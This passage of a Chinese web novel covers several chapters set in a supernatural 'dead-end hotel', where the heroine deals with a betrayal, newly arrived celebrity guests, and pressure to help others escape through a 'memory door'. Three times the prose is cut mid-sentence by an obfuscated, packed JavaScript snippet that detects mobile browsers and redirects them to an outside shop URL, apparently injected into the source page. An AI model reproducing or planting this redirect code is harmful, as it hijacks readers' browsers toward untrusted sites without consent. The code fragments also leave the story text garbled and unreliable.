“真的假的啊……”白羽楠深表怀疑,“这样你都还能上禾苒的当?你是不是……” 一个“傻”字到了嘴边,又被白羽楠强行咽了回去,就怕陈奇破防,一会儿拿她二人出气。 “禾苒说她知道对付恶灵的办法了,以8个金币和优先离开旅店的机会为报酬,要我跟她合作演了一场戏,目的就是从你身上偷一件道具……”陈奇不情不愿地诉说。 俞小澄脑子里嗡嗡作响,忽然意识到陈奇所谓的道具是什么——正是招财的陶瓷娃娃。 “招财呢?”俞小澄紧张追问。 陈奇一副不知道她在说什么的表情,俞小澄只得耐着性子问他偷去的道具在哪里。 陈奇气恼地摇了摇头:“妈的,我就是被骗了呀,道具禾苒拿去了,可进入梦境压根就没见她使用,谁知道去哪儿了啊!” 进宝曾说过,他们只要进入梦境,便可在离开梦境时变换形态,如果禾苒真将招财带入了梦境,那招财估计已经变回幽灵原形。 想到招财夜里会自己寻到她房间,俞小澄总算安心了些。 “难怪你有金币兑换香烟和盲盒,原来是禾苒给的……简直可恶!这女人居然背地里搞这些小动作。”白羽楠愤愤不平。 陈奇努力想要撇清自己:“还有指定房型,也是禾苒的主意,跟我可没关系。” 此前禾苒的各种不对劲的地方,现在看来忽然变得有迹可循。 因为她已经铁了心背叛,打定主意欺骗利用陈奇,然后独自抢先离开旅店,所以才表现得与往常不一样,才会不计较,才会那般淡定。 兴许把曾勇留在俞小澄这一队,是处于她所剩无几的良心,若一切顺利,当晚曾勇也应该被送走,只是没想到…… 俞小澄忽然觉得好笑,为什么别人可以自私的背叛,自己却要傻乎乎地满心顾虑,最终得到的不过是背刺,何其讽刺。 既然离开旅店成了一场豪赌,为何她不以猎杀恶灵为目的? 至于其他人的死活,她何毕太当真呢? 干嘛来到一个全新的世界还要内耗自己? 兴许,她可以出售记忆之门的使用名额,双方各取所需,何乐不为? 正在说话间,单浩言、章锐和武明陆续来到了餐厅,看见俞小澄和白羽楠,难以抑制好奇心围了上来。 这三人并不知道究竟发生了什么事,导致梦境提前结束,所以想从俞小澄二人口中打听一二。 有了禾苒和陈奇联手背刺的教训,俞小澄明白人心难测这个道理,因此对自己手中的牌有所保留,而非和盘托出。 俞小澄谨慎地告诉三人,只是恰好找到了对付恶灵的道具,解决了这个大麻烦,所以才能提前走出梦境。 白羽楠附和着点点头,谁也不敢保证,这些人中不会再出现利欲熏心之辈。 “嗯?原来禾苒那贱人连这个都是骗人的,还跟我说对付恶灵的道具只有那个小泥人儿能使用,妈的,骗得我好惨!”陈奇捶胸顿足,气不打一处来。 “对付恶灵的道具,长什么样子啊?”章锐露出一脸讨好的笑。 俞小澄愣了愣,一时想不出该如何说谎。 白羽楠灵机一动,胡诌道:“这个道具嘛,可不是什么人都看得见,怎么也得有点特殊本事吧!而小澄姐,恰好就是拥有这种特殊本事的人!” “什么特殊本事啊?装神弄鬼……你该不会是随口胡诌的吧?这说辞怎么像极了骗钱的神棍?”单浩言面露疑色,来回打量着俞小澄和白羽楠,像是致力于揭穿二人的谎言。 前一刻还在思考着从这些人身上赚点金币,此时白羽楠和单浩言演了这么一出,她哪里还敢开口,仿佛一开口,她神棍的身份就会坐实似的。 白羽楠支支吾吾半晌,干脆把心一横,直接胡说八道起来:“有些东西,你信则有,不信则无。” “邪教?”单浩言只觉愈发可疑。 俞小澄赶紧捂上了白羽楠的嘴,尴尬一笑:“这个实在不好解释,反正能杀死恶灵的道具就藏在梦境里,只能说仔细观察吧!” 说罢,俞小澄赶紧以肚子饿为由,转移了话题,带着白羽楠远离了是非之地。 “我们今天还凑金币兑换房型指定权吗?”白羽楠吃着早饭问道。 俞小澄想了想,其实默认房型对她们来说没太大影响,能住雏菊就雏菊,住不了也可以箭竹,那便没必要浪费十枚金币。 从兜里掏出金币数了数,昨晚的梦境只获得两枚金币,加上之前剩余的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016202|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六枚,总共有八枚金币。 白羽楠比她还惨,一个任务都没完成,之前剩了三枚。 两人加在一起勉强可以兑换一次房型指定权,俞小澄觉得还不如拿去兑换道具保命。 不过她还有几个问题想问问客服,于是递了两枚金币给白羽楠,凑齐五枚,让白羽楠去兑换一个道具盲盒。 俞小澄随即又想到了吴樊祐,有些后悔不假思索便说出了希望对方留下的话,现在想来,属实有些冲动和冒昧。 吴樊祐与她不同,还有等待的家人,往来的朋友,非他不可的工作……他有太多放不下的事,又怎么可能选择留在这样危险的地方呢? 俞小澄觉得,或许自己应该找吴樊祐道个歉,就算他离开,至少也别让关系恶化,否则这世上就真没谁记得有她这个人了。 “要不……我还是找找吴樊祐吧,告诉他,今晚可以找记忆之门送他离开,这样他应该就不会生气了吧?” 俞小澄求助一般望向白羽楠,希望能有人赞同她的想法。 白羽楠放下碗筷,正襟危坐,一脸严肃地开口:“小澄姐,喜欢一个人不能变得卑微,唉,有我这个前车之鉴,你还要重蹈覆辙么?” 俞小澄慌张辩解:“没有的事,我只是当他是朋友,跟你一样。” “不用解释,解释就是掩饰,我懂!” “不是,我真没看出你懂到哪儿去了……” “总之听我的!这个时候绝对不能低头,除非你觉得自己留下的想法是错的!你现在后悔了么?想离开旅店了么?” “没,我就觉得他想走的心无可厚非。” “那他也该尊重你的决定,凭啥跟你怄气啊?要道歉也该他先道歉。” “你好像真的误会了,他本来就没理由一定要让着我……” “那你还喜欢他干嘛?除了一张脸,有啥可取之处?小澄姐,清醒点,不能被美色迷惑!” “……” 俞小澄陷入沉默,暗道:如果你在自己的事上也能人间清醒,大概就不会来到穷途旅店了…… 正在说话间,一个人影在俞小澄右手边落座,她转过头,恰好撞上吴樊祐疑惑的眼神,带着审视,问:“被什么美色迷惑?” 俞小澄被吓了一跳,险些将面前的碗打翻,稳了稳心神,诧异地发问:“你怎么来了?你不是……” “我饿了,为啥不能来?”吴樊祐若无其事地笑了笑,随手拿起桌上早点吃了起来。 他的样子跟个没事人一样,就像之前什么事都未发生,再见俞小澄也丝毫没有尴尬,神色如常,气定神闲。 “你……没有什么话要说?”白羽楠斜眼盯着吴樊祐,心里摸不准吴樊祐在想什么。 “我有什么话需要说?”吴樊祐反问。 白羽楠剜了他一眼,咬牙切齿地说:“小澄姐打算留在旅店,你也打算留下了?” “我干嘛留下?”吴樊祐毫不在乎地扬起嘴角,“之前答应陪学姐等到你们都离开,现在学姐决定不走了,那我便没必要等下去了,不是么?” 吴樊祐的视线有意无意往俞小澄身上偷瞄,似乎是在观察她的反应。 俞小澄只觉心上一沉,眼中没了光,她强勾起嘴角:“呵呵,的确没有必要,今晚我就帮忙找记忆之门,送你离开。” 116. 意见 听到吴樊祐的回答,俞小澄无法否认,心中确实有些失落,那些她自以为已经放下的感情,竟以这种方式被重新挖了出来,然后被人高高举起,最终摔得粉碎。 她小心翼翼捧着这一堆碎片,努力保持着表面的平静,害怕让人看出内心的情绪。 吴樊祐的面色渐渐沉了下去,声音也随之变得冰冷:“是啊,学姐一向我行我素,做了决定又怎会轻易改变呢?我在与不在,对学姐来说都不重要,以前是,现在也是。” “?” 俞小澄从他的话中听出一些奇怪的情绪,感觉到对方的埋怨,俞小澄心里有些不舒服。 “我行我素?明明是你拒绝,干嘛说得好像我赶你走一样?”俞小澄忍着心中怒火,声音有些低沉。 “为什么不是考虑跟我一起离开这里?”吴樊祐的情绪突然上浮,眼神多了一丝委屈。 “因为……我没有信心通过记忆之门验证!”俞小澄艰难地表明了自己的想法,展示出自己脆弱的一面,这是她的心病。 有罪。 连她自己都觉得十分有可能,所以当她在欧山的房间中找到那封奇怪的信件时,她本能地产生了抗拒。 她在害怕,害怕找回遗失的记忆,害怕知道自己做了什么害人害己的事。 她没有自信,没法肯定自己是无罪之人。 所以她也不敢告诉吴樊祐,她好像在欧山的房间里找到了自己遗失的记忆,却落荒而逃。 吴樊祐随之一怔,面上露出一丝自责的神情,他双手抓住俞小澄的胳膊,将人强行转向自己,一脸真诚地劝说: “学姐别担心,我相信你,你一定可以通过验证,跟我离开这里好不好?嗯?” 吴樊祐突然变得柔软的话,似乎让俞小澄心里那份坚硬熔化了几分,她竟产生一丝动摇。 要跟他一起离开吗? 可离开以后呢?那个世界已经没什么在等着她回去了。 俞小澄刚刚软下来的心,再次变得坚定。 “在这里我可以过得更好,我有办法对付恶灵,我能保护自己,我还可以帮助那些想离开这里的人。” 俞小澄语气轻快,不止是说给吴樊祐听,更是说给自己听,相较之下,她要回去的地方不能提供任何情绪价值,那她又为何要回去? 吴樊祐的眼神中闪过一抹哀伤,仅仅停留了一瞬,他扬起嘴角笑道:“看样子是劝不动学姐了,那么,今晚我先离开,学姐可一定要亲自送我一程。” 看上去,他彻底放弃了挣扎,妥协一般讨价还价。 俞小澄不知道吴樊祐为何如此有自信能通过记忆之门的验证,光是想想吴樊祐对萧莹下手的狠厉,她都有些不寒而栗,不由得担心起来。 如果吴樊祐也未能通过验证呢? “你真的不考虑留在这里?”俞小澄的声音几不可闻。 “怎么?学姐舍不得我么?”吴樊祐又是一脸不正经。 俞小澄哪敢明说自己的心思,立刻否认:“不是这个意思,我是怕你也会成为恶灵。” 吴樊祐身子微微前倾,脸一点点靠近,近到俞小澄心中一阵慌乱,下意识地想要回避那炙热的眼神。 随即便听吴樊祐带着戏谑的笑,悄声问道:“如果我变成恶灵,学姐想跟我玩什么游戏?捉鬼游戏怎么样?我一定束手就擒!” “别开玩笑!”俞小澄气急。 吴樊祐笑得很得意,眼中却看不出丝毫笑意,很快收敛了笑,将视线挪回桌上的食物,看似漫不经心地说道: “不开玩笑了,不过我要是真变成恶灵,学姐别让进宝吃掉我,用道具杀死我就行。” “嗯?什么……意思……”俞小澄茫然地注视着看上去若无其事的那个人。 吴樊祐眉眼弯弯,苦涩却溢出嘴角,轻声解释:“字面意思,有些记忆,不想被学姐读取。” 俞小澄心跳陡然快了一拍,心道:他果然有事想要隐瞒,不愿意让人知晓。 “嗯……”俞小澄只轻哼出一个鼻音,想要劝说的话到了嘴边又咽了回去。 她依然不明白,为何吴樊祐明知自己有不为人知的事,却依然要冒险去寻找记忆之门接受验证,出去对他来说真的这么重要吗? 沉默片刻,俞小澄忍不住好奇发问:“外面有你很重要的人吗?” “啊?为什么这么说?”吴樊祐一脸的不理解。 俞小澄被他的反问弄得有些不自信,支支吾吾回道:“不、不为什么,直觉。” 吴樊祐轻笑一声:“说了你的直觉不准了,以后不许直觉了!” 一直安静听着两人对话的白羽楠忽然凑到两人面前,露出一脸狡黠的笑,问吴樊祐:“那这里有你重要的人吗?” 吴樊祐微微愣了一下,抬手敲了敲白羽楠的额头,冷冷回道:“关你屁事!赶紧吃饭,吃完下楼,我到楼下等你们。” 说罢,他清了清嗓子站起了身,背对二人挥了挥手,然后漫不经心地往楼梯间走去,只是那份从容中藏着一丝微不可察的不自然,在无人察觉的地方微微红了耳廓。 “这人就学不会好好跟我说话么……”白羽楠捂着额头,愤愤然坐回位子上,嘴里直犯嘀咕,“我看啊,对他来说,最重要的就他自己吧!” “看重自己不应该么?”俞小澄反驳。 “小澄姐,你怎么还帮他说话啊……”白羽楠一脸委屈地撒起娇来。 俞小澄只能呵呵傻笑,掩饰自己的心虚。 这一天,旅店又迎来四位新住客,三女一男,看似与平时无异,却在一瞬间引爆了整个大厅。 一位是看上去有些叛逆的初中女生; 一位是浓妆艳抹社牛附身的女网红; 一位是冰山气质的美女企业家; 一位是造型时尚妆容精致的男明星。 章锐迫不及待迎上前,向着女网红伸出手,激动得手舞足蹈:“芹芹!夏芹芹!妈呀,我是不是在做梦啊,居然在这儿见到真人了!我叫章锐,几乎每晚都看你直播!” 那个叫夏芹芹的女网红立马自来熟,努力回应来自粉丝的热情,又是握手,又是签名,要不是章锐翻包才想起没有手机,估计还能拉着夏芹芹合影。 单浩言也没闲着,迎着美女企业家快步上前,不过明显比章锐拘谨有礼了许多。 “舒总?您是方寸天地科技的舒瑾舒总吧?你好,我是单浩言,我们律所曾与贵公司有过法务合作,我有幸见过舒总一面。” 那个叫舒瑾的冰山美人便客套地与单浩言寒暄了几句。 至于白羽楠,此刻已经拉着俞小澄冲到了大明星面前,完全一副追星迷妹的姿态,双手不知往哪儿放,目光里满是憧憬与兴奋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026341|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “方英彦!我很喜欢你的作品,从你组合出道开始就一直关注你,你的每场演唱会我都有去听,真的,非常……非常喜欢!” 白羽楠欣喜若狂地表达着对偶像的喜欢。 这个叫方英彦的男明星笑眼迷人,语气亲切,无处不散发着身为男爱豆的职业素养,温柔地应对着来自粉丝的告白。 整个大厅内,俨然成了粉丝见面会,虽然领域不同,可见到偶像的激动心情,估计是一样的。 而俞小澄在几人中,显然是个异类,感觉有些多余,看着白羽楠与方英彦有说有笑,自己只能尴尬地陪笑。 好在没过两分钟,吴樊祐一脸不爽地来捉人,拎着俞小澄的衣服帽子,就将人拽回了沙发区。 “哼,学姐爱好挺广泛啊,还喜欢追星?”吴樊祐挑着眉,说话语气有点阴阳怪气。 俞小澄摆摆手:“没追,我都不知道他是谁。” “嚯?”吴樊祐一脸质疑,“这种国民级流量明星,你居然不知道?我怎么有些不信,那学姐平时都干什么?” 俞小澄有些难为情,悄声回答:“水水论坛,刷刷直播,看看电影。” “哦?哪方面的?不会都是超自然方向的吧?” “嗯。”俞小澄脸上升起一片红云。 吴樊祐的表情看上去好像很满意,叹道:“学姐还挺专一,以前喜欢什么,现在还一样喜欢。” 俞小澄闻言心里一慌,看吴樊祐的表情似乎只是在谈论自己的爱好,并没有更深层次的意思,才放下不安的心。 是啊,她一直都很专一,不管是对事,还是对人。 此时被晾在一旁的女初中生从俞小澄和吴樊祐面前走过,本想上前攀谈,却被吴樊祐瞪了一眼,便立即转了方向,走向另一边不问世事的武明。 看样子,那女初中生想找个好说话的人,了解了解现下情况。 又是新的一轮萌新指导,这一次看起来像是一对一课外辅导,各自找准目标,只有俞小澄和吴樊祐二人落得清闲。 恍惚间,俞小澄感觉自己又成了局外人,终究难以融入陌生的环境,不免又对今后旅店的生活产生一分担忧。 等吴樊祐离开后,她应该会很孤单吧…… 大概是感受到她的低气压,吴樊祐猛然拍了拍她的后背,将她从胡思乱想中拉回现实。 俞小澄反手挠了挠后背,一脸不解问:“干嘛突然打我?” 吴樊祐毫无悔过地笑道:“谁让你看上去好像一脸羡慕,学姐,你该不会是想带新吧?带新可不省心,你不如好好带我,小俞老师,你的学生今晚还指望着靠你离开旅店呢!” 这句话更像是刺进俞小澄心里的一根刺,让俞小澄无言以对,平复了半天心情,才不耐烦地应了一声:“知道了,知道了,保证完成任务,你不用一直提醒我。” 吴樊祐仰靠在沙发靠背上,斜眼偷瞟着俞小澄,半开玩笑地说:“小俞老师如果舍不得唯一的学生,也可以考虑跟学生一起走。” 俞小澄暗骂:好家伙,就没有你留下的选项么! 她嘴角抽搐,咬着牙露出一脸假笑,回怼道:“不用了,老师可以加大招生力度。” 可惜,她的回击仿佛撞在了棉花上,吴樊祐脸上带着笑,心平气和地回道:“哦?是么?那我只能预祝小俞老师招生顺利了。” 117. 粉丝 吴樊祐脸上的笑容有种说不出来的诡异,这种感觉俞小澄不止一次经历,不知是不是错觉,每当吴樊祐这样笑的时候,似乎总会有不好的事发生。 就在俞小澄盯着吴樊祐的脸胡思乱想之时,白羽楠乐呵呵地带着方英彦来到了她面前。 俞小澄再次肯定,白羽楠就是个恋爱脑,面对不喜欢的人尚能保持头脑清晰,一旦面对喜欢的人,瞬间就能丧失理性。 这件事不止表现在她选择男友的盲目性上,还体现在她的追星之路上。 白羽楠不但详尽地解释了住客在穷途旅店需要面对的各种问题,还将俞小澄可以对付恶灵这种事也告诉了方英彦。 因此,白羽楠拉着方英彦来找俞小澄,其实就是希望俞小澄能帮助方英彦离开穷途旅店。 方英彦也不怀疑,好声好气向俞小澄求助,虽说初来乍到,但这人处世圆滑,能迅速权衡利弊,知道笼络人心、取得优势的重要性。 吴樊祐闻言,冷笑着嘲讽道:“白羽楠,你是不是傻呀?留他在这里陪你不好么?好不容易有了近距离接触偶像的机会,你不好好珍惜,一来就想将人送回去?” 白羽楠瞪了吴樊祐一眼,辩解:“还有许多盐分等着彦彦回去呢!他可跟你不一样。” 方英彦对于这种夸奖似乎习以为常,脸上的笑容显得游刃有余,声线柔和地说:“呵呵,其实能有机会陪陪我的粉丝朋友,我当然乐意,只是还得赶通告,公司没我可不行。” 俞小澄看着白羽楠痴迷的模样,微微叹了口气,一针见血地问:“方先生,你伤害过谁么?” 这问题让方英彦和白羽楠皆是一愣,白羽楠表情尴尬地拉了拉俞小澄的袖子,看她的样子,显然并不希望让自己的偶像难堪。 可俞小澄觉得,应该提醒白羽楠注意,她的善意对于方英彦来说,不一定是好事。 来到这里的人如果都有罪,那么白羽楠所喜爱的这个大明星,私下说不定干了些见不得人的事情,就算俞小澄帮忙找到记忆之门,他也不一定能通过验证。 表面是针对方英彦与白羽楠,可这句话又何尝不是说给吴樊祐听的呢? 俞小澄直视方英彦的同时,总会忍不住偷偷瞥一眼吴樊祐,可这人不知是心太大,还是太过自信,对俞小澄的话充耳不闻。 “呵呵,我怎么可能伤害我的粉丝呢!”方英彦矢口否认。 俞小澄本来没指望他能像白羽楠那般记得自己做过什么不好的事,可方英彦的回答让她不禁皱起了眉头。 这句话听着有些别扭,俞小澄狐疑地说:“我没说粉丝……方先生怎么有些紧张啊……” 俞小澄上下打量着眼前这个陌生人,她平时不看娱乐新闻,对于娱乐圈并不熟悉,不过方英彦这个名字多少还是有所耳闻,只是名字与脸对不上号。 方英彦的确有几分姿色,与吴樊祐相比妖艳了一些,所以并不符合俞小澄的口味。 身为偶像,多多少少会有些负面消息,真真假假,外人很难看清。现在看方英彦僵硬的肢体,不自然的神情,俞小澄猜测多半他也有不为人知的过去,并且与他的粉丝有关。 方英彦以笑声掩饰着心里的慌乱,嘴硬道:“我紧张吗?大概是想到每次被对家买黑通稿,粉丝就得辛苦替我辟谣,我心如刀绞吧!” “嗯嗯!盐分是哥哥最坚强的后盾!”白羽楠一副星星眼祈祷状。 吴樊祐拍着大腿大笑起来,一边抹着笑出来的眼泪,一边调侃:“你们俩还挺般配,都有这么魔幻的自欺欺人能力。” 白羽楠气急败坏地回嘴:“别忘了你自己在哪里,你能好到哪儿去?”话音刚落,她又急忙捂住嘴,有些愧疚地看向俞小澄。 俞小澄微微冲她扬起嘴角,摇头示意她不必介怀。 俞小澄当然明白,她这句话的无差别攻击力,只要知晓来到穷途旅店的住客都有罪,谁都能听出她的言下之意。 也许,他们谁都不比谁干净。 可这种攻击在吴樊祐身上似乎并未奏效,吴樊祐始终维持着隔岸观火的姿态,微笑中带着一丝挑衅。 “我自然是比不上你的好哥哥,毕竟,我没有粉丝,做了什么坏事,也没人替我洗。” “兄弟,你说这话是什么意思?”方英彦温和的眼神终于露出一分尖锐的气息,说话的语气也随之重上半分。 俞小澄实在佩服吴樊祐气人的天赋,扶着额头深吸一口气,急忙打断了三人: “不管怎么说,有些情况我得事先申明,记忆之门的确是离开穷途旅店的最快途径,可因为我们都遗忘了自己做过的一些事,这些事极可能会影响验证结果,届时,我们都可能化为恶灵。” “呃……变成恶灵又会怎样?”方英彦表情严肃。 “造成更多的杀戮,也许永远被困旅店,也许会被玩家杀死……谁知道呢……午后你可以问问客服。” 心中思绪万千,俞小澄心不在焉地说道。 方英彦听过俞小澄的说明后,没有立即做出选择,而是打算认真思考思考。 见他如此态度,俞小澄估计他与白羽楠一样,对于自己做过什么荒唐事,多多少少还有些印象,所以才会心虚地不敢当场做出决定。 反观吴樊祐,这人从始至终都跟没事人一样,丝毫没将俞小澄的话听进去,俞小澄觉得他大概跟自己一样,把那些不好的事完全忘记了。 于是等方英彦带走白羽楠后,俞小澄端正地坐在沙发上,双手紧抓住膝盖,扭头直视着吴樊祐地眼睛,一脸严肃地问:“你觉得有人通过记忆之门离开了旅店吗?” 吴樊祐双脚搭在茶几上,懒散地在沙发上仰躺着,一副事不关己的模样,闭着眼,冷哼一声:“这些人,很难吧!” 俞小澄气得握紧了拳头,犹豫再三,站起身,伸手揪住吴樊祐的脸颊。 吴樊祐吃疼,一边叫苦不迭,一边起身坐正,一脸哀怨地抬眼看着俞小澄,不解地问:“怎么了学姐?我又哪里得罪你了?” 俞小澄转而揪住吴樊祐的耳朵,气恼地说:“你到底有没有听我说话!” 吴樊祐抓住俞小澄的手,想让她松手,可越是如此,越激起她的逆反心理,她只当自己的手指粘在了吴樊祐耳垂上。 吴樊祐挣扎无果,又不敢使劲,只好无奈地叹气道:“在听,在听,学姐说的话我怎么敢不听呢!” “那我说了啥?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047393|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你说方英彦作恶多端,无法通过记忆之门的验证!” 俞小澄倏然松手,慌张地左顾右盼,确认方英彦和白羽楠不在附近,才抚了抚心口,怒瞪吴樊祐一眼。 “我没这么说过,你别栽赃!” 吴樊祐揉着通红的耳垂,不怀好意地笑了起来:“学姐今天对我是不是太不客气了一点?” 俞小澄此时才发觉行为欠考虑,自己到底是心急了些,可为时已晚,只好强装一副无所谓的样子,道:“噢,你反正都要离开了,今后就是想报复也没辙,我没必要怕你。” “哦?学姐什么时候还怕过我?”吴樊祐兴致盎然地反问。 俞小澄脱口而出:“怕你像对付萧莹一样对付我……” 话音未落,俞小澄就恨不得扇自己两巴掌,努力想要找补,然而脑子里一片空白。 吴樊祐的笑渐渐从脸上消失,眼底浮起些许苦涩,他的声音满是无奈:“如果我像对付萧莹一样对付你,你会不会恨我?” 俞小澄心中疑惑不解,心道:这是什么愚蠢的问题,如果你要杀我,难道我还应该感谢你? 更令俞小澄想不通的是,为什么吴樊祐能问出这种问题。 她自以为这种看似指责的话,可能会伤到吴樊祐的心,所以心中悔恨不已,可吴樊祐似乎对于萧莹的死并不太在意,而是针对她的话认真做出回应。 “你……不会真想过……” 真想过杀掉她? 后半句话,俞小澄硬生生吞了回去,不敢细想,心中却像是落入了一块巨石,砸得鲜血四溅,留下一个血淋淋的坑。 “学姐,如果我强迫你,做你不愿意的事,你还会原谅我吗?”吴樊祐抬起头,小心翼翼地问。 从吴樊祐的眼中,她看到了微弱的亮光,似乎是他仅存的一点希望,如此渺小又弱不禁风的模样,让人于心不忍。 “明知我不愿意,你就不能不做吗?”俞小澄气急反笑。 吴樊祐一本正经地摇头道:“可是我想做。” 是不是有病! 俞小澄的心中发出一声呐喊。 她揉了揉眉心,嘴上平静说道:“那就提前告诉我,你不得不做的理由。” “不能讲。” “凭什么不能讲?” “因为……规则?” “你在耍我呢?什么规则这么霸道!”俞小澄刚问出口,随即想到了梦境,手指用力敲在了吴樊祐脑袋上,怒道,“所以我说留在这里不就好了嘛!” “啊?”吴樊祐低哼一声,用力揉着脑袋,先是诧异,随后似乎猜到俞小澄的想法,嘴角微微扬起,语气轻快地说道,“不逗你了,学姐只要相信自己就好,就像我相信你一样。” “什么意思?”俞小澄一头雾水地皱起眉头。 吴樊祐站起身,轻轻拍了拍俞小澄的脑袋,笑道:“意思就是别想太多!别忘了答应的事,不能反悔!” 俞小澄意识到,这是劝告失败的信号,心中顿觉沮丧。 此时的俞小澄,还在为吴樊祐宁愿涉险的坚决态度而烦恼,却不知道,某个粉丝的无心之举,正在这个平静的旅店中,掀起一场前所未有的风暴。 118. 各怀 大约到了吃饭的时间,俞小澄和吴樊祐一到餐厅便被一群人围了起来,一边是今日新来的住客,一边是昨日的玩家同仁,而他们之所以会找上俞小澄,皆因同一件事——寻找记忆之门离开旅店。 “听说你要送大明星离开旅店?你有办法为啥藏着掖着!明星有特权吗?凭什么他刚来你就自愿帮忙?你也是他粉丝吗?” 章锐一来便气势汹汹地质问道。 单浩言虽没有章锐那么激动,可对于此事同样表现出心里不平衡。 他看似理智实则声讨:“如果俞小姐真有助人为乐之心,是不是也该一视同仁呢?” 武明大爷皱着一张脸,苦大仇深的模样:“现在的年轻人就是自私,只想着自己,不顾他人死活,哼,遇到危险难道不应该互帮互助,齐心协力吗?” 这一方拉着俞小澄一顿数落,另一边则是一脸讨好,只求能抱上大腿,走个捷径,赶紧逃离这个莫名其妙的地方。 网红夏芹芹吹捧:“原来这里藏着大佬,瞧我这眼神,刚才都没来得及打招呼,求大佬一定要带带我呀!” 冰山美人舒瑾利诱:“只要能带我出去,多少酬金我都出得起,你开个价吧!” 初中女生撒娇:“我叫倪诗语,刚来的时候就觉得姐姐面善,想跟姐姐认识。姐姐要走可以带我一起吗?就带带我嘛,我一个人害怕,带带我好不好?” 俞小澄被吵得脑瓜疼,从来没面对过这种阵仗,不免有些惊慌失措,不知道要如何应对。 “够了!” 吴樊祐一声怒吼叫停众人,随即扫视一圈,目光犀利,“你们从哪儿听来的消息?” 武明表示,是倪诗语向他打听俞小澄这个人,他才知道还有此等秘密。 倪诗语则指向舒瑾和单浩言,说是偶然听到二人私下讨论,这才找武明确认是否属实。 舒瑾表示信息来源于单浩言,而单浩言是通过章锐得知的。 至于章锐,他说是夏芹芹来找他询问俞小澄和记忆之门的事,他当时也是一脸懵逼。 最后到了夏芹芹,她抬手指了指跟个没事人一样带着女粉丝边吃边聊的方英彦。 俞小澄真想过去给这个大明星两巴掌,让他没事管好自己的大嘴巴。 而身为此次事件的罪魁祸首,方英彦正津津有味地品尝着美食,陡然感觉无数道目光向自己射来,他不禁打了个寒颤,一脸茫然地回头望向众人,脸上露出标准的微笑。 “有事?想要签名的话,吃完饭再说吧,都有份,放心!” 放心你妹啊! 俞小澄此时杀人的心都有了。 与方英彦同桌的白羽楠趴在桌上,双手挡住脸,显然对于方英彦嘴漏风这件事,万般无奈与愧疚。 不过俞小澄现在也没有闲心思考如何惩罚泄密的人,将她重重围住的人并不会善罢甘休。 就在众人七嘴八舌争吵着先来后到的问题时,陈奇大摇大摆地从众人身边路过,在人群中挤出一道缝,钻到人群中央,态度嚣张地吼道: “要论先来后到,怎么也轮不到你们吧?” “你谁啊?” “这儿有你说话的份吗?” “唬谁呢?!” “好像是昨晚抢房间的其中一人……” 面对全是负面的议论,陈奇脸上怒气激增,如今能帮忙吹嘘他厉害的人已经全不在了,竟让他这个梦境老手连场子都压不住。 “我,陈奇,通关十九场梦境的男人,你们能活这么久吗?” 陈奇一脸骄傲地自我吹嘘起来,轻蔑的视线从众人脸上掠过,仿佛自己是王者。 第一个开口拆台的是那个十二三岁的少女倪诗语,她手指点在额角,一副思索的模样,天真地问道:“啊?你在这破旅店呆了这么久啊,你无家可归吗?” 吴樊祐噗嗤一声笑了出来,看着陈奇脸色铁青地瞪了自己一眼,他随口调侃道:“奇哥,我可是好心提醒过你,别逢人吹嘘住店天数,看吧,这不让人看笑话了么!” 陈奇憋了一口气,强挤出一丝笑,冲着倪诗语咬牙说道:“小朋友,你爸妈没教过你,大人说话的时候,小孩子少插嘴吗?” 倪诗语一改天真模样,面带不屑,语气强硬:“哼,这世上还没人管得了我,大叔,你还是管好你自己吧!” 一句话将陈奇噎得心梗,陈奇强行挽尊:“你懂什么,在这里,重要的不是如何离开,而是如何活下去!你们连怎么活下去都不知道,还想离开,简直是痴人说梦!” 可惜今日这批新人都不是善茬,陈奇的这句话收效甚微,也就打动了昨晚经历过生死的单浩言、章锐和武明三人。 舒瑾听罢反应平淡:“如果你不是为了离开而来,那麻烦你走开。”语气冰冷地驱赶陈奇后,她又向俞小澄提出了送车送房的诱人条件。 陈奇不服气地吼道:“你们是不是傻?小俞妹子如果真这么能耐,怎么可能还留在旅店里?” 此话一出,躁动的气氛瞬间冷静下来,众人不由得思考起来。 俞小澄感觉此刻脱身时机正好,于是接着陈奇的话说道:“大家误会了,其实经过几天摸索,有关对付恶灵和寻找记忆之门的方式,我们有了粗略的方向。这不是什么秘密,也不是每一次都奏效。” 简单讲述了规则后,她又以昨晚的梦境为例,向众人证明,不是每次都能顺利找到记忆之门,也不是每次都能找到杀死恶灵的道具,通常靠的都是一点点运气。 而这一点运气,还需要时间做缓冲,因此如何在梦境中不死,才是胜利的关键。 单浩言此时也出言证明,昨晚就因为规则死了三人,这三人便没能撑到恶灵被消灭。 